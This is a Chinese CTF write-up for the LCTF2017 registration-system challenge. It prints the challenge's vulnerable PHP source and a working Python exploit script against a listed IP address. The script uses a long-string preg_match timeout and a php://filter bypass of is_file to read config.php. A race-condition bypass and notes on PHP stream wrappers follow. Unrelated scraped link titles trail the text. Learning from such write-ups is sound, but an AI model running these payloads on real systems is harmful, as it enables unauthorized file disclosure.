题记:

最近在服务器上复现了一些CTF题目,所以对这些题目整理上相应的writeup。所以,才有了今天的文章。

正文:

这道题目是LCTF2017的题目,名字为萌萌哒报名系统。题目提示为:天依花了一整天的时间用IDE开发了一个报名系统,现在她睡着了,难道你们不想做点什么嘛XD?

首先提示是IDE,那么我们可以想到PHP有款强大的IDE叫做PHPSTORM,它新建项目的时候会生成一个.idea文件夹,访问发现有一个workspace.xml文件,访问里面发现了一个xdcms2333.zip

`<entryfile="file://$PROJECT_DIR$/xdcms2333.zip"/><entry file="file://$PROJECT_DIR$/config.php"><provider selected="true" editor-type-id="text-editor"><state relative-caret-position="0">`

下载即可得到源码

register.php

<?phpinclude('config.php');try{$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);}catch (Exception $e){die('mysql connected error');}$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';if (strlen($username) > 16 || strlen($username) > 16) {die('Invalid input');}$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');$sth->execute([':username' => $username]);if ($sth->fetch() !== false) {die('username has been registered');}$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');$sth->execute([':username' => $username, ':password' => $password]);preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);if (count($matches) === 3 && $admin === $matches[0]) {$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');$sth->execute([':username' => $username, ':identity' => $matches[1]]);} else {$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');$sth->execute([':username' => $username]);}echo '<script>alert("register success");location.href="./index.html"</script>';

login.php

<?phpsession_start();include('config.php');try{$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);}catch (Exception $e){die('mysql connected error');}$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');```
if (strlen($username) > 32 || strlen($password) > 32) {die('Invalid input');
}$sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] !== $password) {die('wrong password');
}
$_SESSION['username'] = $username;
unset($_SESSION['is_logined']);
unset($_SESSION['is_guest']);
#echo $username;
header("Location: member.php");
```?>

member.php

<?phperror_reporting(0);session_start();include('config.php');if (isset($_SESSION['username']) === false) {die('please login first');}try{$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);}catch (Exception $e){die('mysql connected error');}$sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');$sth->execute([':username' => $_SESSION['username']]);if ($sth->fetch()[0] === 'GUEST') {$_SESSION['is_guest'] = true;}```
$_SESSION['is_logined'] = true;
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {}else{if(isset($_GET['file'])===false)echo "None";elseif(is_file($_GET['file']))echo "you cannot give me a file";elsereadfile($_GET['file']);
}
```?>

这里我们首先看register.php

$admin = $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');

然后下面

preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);

如果匹配了$matches[0]=$admin就可以把xdsec注册到identities表中,可样我们就可以绕过第一层,member.php中的

if ($sth->fetch()[0] === 'GUEST') {$_SESSION['is_guest'] = true;}

​ 官方在这里解释说str_shuffle是不可预测的,所以xdsec注册是一个幌子,但是之前读过一篇文章,str_shuffle是可以预测的。str_shuffle 是通过获取 rand() 值计算键值进行字符串置换,打乱字符串。所以我们只要能预测 rand() 值,就能计算出 str_shuffle 生成的值

参考链接:http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

其中提到的公式:state[i] = state[i-3] + state[i-31]

也就是说,rand 生成的第 i 个随机数,等于 i-3 个随机数加 i-31 个随机数的和。

所以我们需要生成至少 32 个随机数,就可以预测后面的随机数了。这里我们要用到 Keep-Alive 来获取随机数,只要 TCP 连接不断那么这个随机数生成就是连续的。所以,这里生成的随机数是伪随机数。

这里我们用另一个方法,用pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。

payload:

`code=xdsec###AAAAAAAAAAAAAAAAAAA(超多个A)`

这个时候identity是空串,这时候我们就绕过了第一个限制

if ($sth->fetch()[0] === 'GUEST') {$_SESSION['is_guest'] = true;
}

因为identity字段没有插入,所以此处为session设置失败。接下来进入第二个限制:

   `if(isset($_GET['file'])===false)echo "None";
elseif(is_file($_GET['file']))``echo "you cannot give me a file";`
`else``readfile($_GET['file']);`

这里要求通过GET方法过去的,必须是文件,然后才调用readfile方法,如果我们相要任意读取文件,需要绕过这里,此处,我们采用php伪协议绕过。

<?php
$a = '123.php';
$b = 'php://filter/resource=123.php';
var_dump(is_file($a));
var_dump(is_file($b));
?>boolean trueboolean false

综上,现在贴出脚本

# coding:utf-8
# auther:ur10ser
import requestsurl = 'http://47.107.57.56:8083/name/'
log = 'login.php'
reg = 'register.php'
s = requests.session()
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7","Content-Type": "application/x-www-form-urlencoded"}
data = {'to': 'reg','did': '0','username': 'ur011se','password': 'ur011swqe','code': 'xdsec###' + 'AAA' * 50000
}data1 = {'to': 'log','username': 'ur011se','password': 'ur011swqe'
}url1 = url + reg
url2 = url + log
s.post(url1, headers=headers, data=data)
print('[+]注册成功!')
s.post(url2, data=data1)
print('[+]登录成功!')
r = s.get('http://47.107.57.56:8083/name/member.php?file=php://filter/resource=config.php')
print (r.content)

除了上述方法,这个题还有个条件竞争的漏洞,因为身份验证是用

`if` `($sth->fetch()[0] === ``'GUEST'``)`

的那么如果在identities表中没有username这一行数据,那么取出来$sth->fetch()[0]结果就是null,还是可以绕过第一层,所以可以用python多线程注册用户,在

`$sth = $pdo->prepare(``'INSERT INTO identities (username, identity) VALUES (:username, :identity)'``);`

语句执行之前登陆上去就可以绕过第一层。

知识储备

正则表达式的贪婪与非贪婪匹配

如:String str="abcaxc";

Patter p="ab*c";

贪婪匹配:正则表达式一般趋向于最大长度匹配,也就是所谓的贪婪匹配。如上面使用模式p匹配字符串str,结果就是匹配到:abcaxc(ab*c)。

非贪婪匹配:就是匹配到结果就好,就少的匹配字符。如上面使用模式p匹配字符串str,结果就是匹配到:abc(ab*c)。

php伪协议

php伪协议:

file:// — 访问本地文件系统

http:// — 访问 HTTP(s) 网址

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流(I/O streams)

zlib:// — 压缩流

data:// — 数据(RFC 2397)

glob:// — 查找匹配的文件路径模式

phar:// — PHP 归档

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — 音频流

expect:// — 处理交互式的流

【file://协议】

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

使用方法:

file:// [文件的绝对路径和文件名]

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

参考自:http://php.net/manual/zh/wrappers.file.php

【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

条件竞争

竞争条件漏洞就是多个进程或线程访问同一资源时产生的时间或者序列的冲突,并利用这个冲突来对系统进行攻击。一个看起来无害的程序如果被恶意攻击者利用,将发生竞争条件漏洞

LCTF2017之萌萌哒报名系统相关推荐

  1. 计算机二级怎么更改报名密码忘记了怎么办,中考报名系统密码忘了怎么办

    中考报名系统密码忘了怎么办 初中是中学阶段的初级阶段,初级中学一般是指九年义务教育的中学,是向高级中学过渡的.一个阶段,属于中等教育的范畴.下面是小编分享的是中考报名系统密码忘了怎么办,快来看看吧! ...

  2. 石嘴山考计算机在哪里报名,石嘴山中考报名系统

    要想顺利进行中考报名,就得先知道中考报名系统是什么,出国留学网小编为大家首发2016石嘴山中考报名系统,希望能够帮助大家,更多精彩内容欢迎访问出国留学网中考频道. 2016石嘴山中考报名系统[点击查看 ...

  3. 学业水平考试网登录_2019山东高中学业水平考试报名系统入口http://xysp.sdzk.cn

    2019山东高中学业水平考试报名系统入口http://xysp.sdzk.cn ​山东省普通高中学业水平考试网上报名系统通过浏览器进行访问,目前仅支持IE浏览器,请使用IE浏览器(IE8/IE9/IE ...

  4. 辽宁学业水平测试 计算机考试,辽宁高中学业水平考试报名系统

    出国留学高考网为大家提供2018辽宁高中学业水平考试报名系统,更多高考资讯请关注我们网站的更新! 点击下面图片即可进入高考报名: 2018年辽宁省普通高中学业水平考试(以下简称学业水平考试)将于201 ...

  5. 太原市中考计算机考试系统,太原中考报名系统

    中考报名即将开始,希望大家都能顺利报名,出国留学网小编为大家准备了2016太原中考报名系统,希望对大家有所帮助,更多精彩内容欢迎访问出国留学网中考频道. 2016太原中考报名系统[点击查看最新报名系统 ...

  6. 12月江苏计算机考试报名入口,江苏2019年12月计算机等级报名时间丨报名系统

    2019年12月江苏计算机考试报名时间:预计在11月左右. 计算机报名全部采用网上报名和网上支付的方式进行报名.请考生登录全国计算机等级考试报名系统 (http://ncre.cqksy.cn/NCR ...

  7. 文献笔记04-大学生运动会报名系统的设计与研究

    一.基本信息 标题:大学生运动会报名系统的设计与研究 时间:2014. 出版源:中国知网 领域分类:计算机应用及软件 二.研究背景 为丰富学生的课余生活,学校都会举行运动会 来提高学生的身体素质,但随 ...

  8. 2018n年全国计算机考试,2018ncre全国计算机等级考试报名系统

    2018 ncre全国计算机等级考试报名系统是ncre无纸化考试系统!拥有大量固定题目.拥有强大的评分功能.还能什么,马上拥有把.不错的全国计算机等级考试无纸化考试系统. NCRE无纸化考试新思路模拟 ...

  9. 吉林全国计算机报名系统入口,http://ncre.jleea.com.cn吉林计算机等级考试报名系统入口...

    根据教育部考试中心统一安排,由省教育考试院组织的2018年上半年全国计算机等级考试(简称NCRE)将于2018年3月24日至3月26日进行,现将考试的有关事项通知如下: 一.报名时间 吉林省计算机等级 ...

最新文章

  1. C#速成之一(Quick C#)
  2. 发送IP和MAC地址的方法
  3. asp获取屏幕分辨率
  4. MSN即将退役,即时通讯开放平台成趋势
  5. 语句拼接_第2课:一个周末学会R语言数据处理:表拆分和拼接
  6. 2021-2025年中国船用炉灶行业市场供需与战略研究报告
  7. 虚拟机在教学实验中的应用
  8. 怪物之心无法触发_《勇者斗恶龙 怪兽篇:旅团之心》怪物生方法及生规则研究 - 电玩巴士...
  9. 课时8-1:adams建约束副----齿轮约束
  10. CSS设置字体为微软雅黑 且 解决用户设备上没有该字体的问题
  11. 面试心得与总结---BAT、网易、蘑菇街等
  12. 别嫌工资少,高薪资的标准你符合几条
  13. 关于国密HTTPS的那些事(一)
  14. 系统背景描述_舞台灯光网络系统及光源角度资料免费分享
  15. 怎样将计算机32位换为62位,电脑32位怎么换62位
  16. 一些句子【未完待续】
  17. Android大型实战:《亲信,优雅的从入门到进阶》-刘桂林-专题视频课程
  18. JS中操作<select>标签选的值
  19. 奔跑吧!Android虚拟机!Genymotion的安装和配置
  20. 网页内容高度不够时,让footer处于页面底部的方法(不是固定在底部)

热门文章

  1. Python_matplotlib保存矢量图
  2. C语言:输入字符并将它们输出
  3. STM32F103单片机控制SG90舵机
  4. 破解微信图片防盗链 微信图片不显示怎么办?
  5. 神了,阿里数据库专家纯手写了这份604页的Oracle+MySQL攻坚指南
  6. “后网联时代”聚合支付发展方向思考
  7. 计算机课程设计局域网广域网,计算机网络课程设计报告组建小区局域网
  8. 人类第一张黑洞照片背后的功臣,竟然是她!
  9. 计算机怎么加项目符号,2010年职称计算机:添加项目符号
  10. wi8ndows无法加载,Win8.1系统更新Flash插件后无法自动加载插件怎么办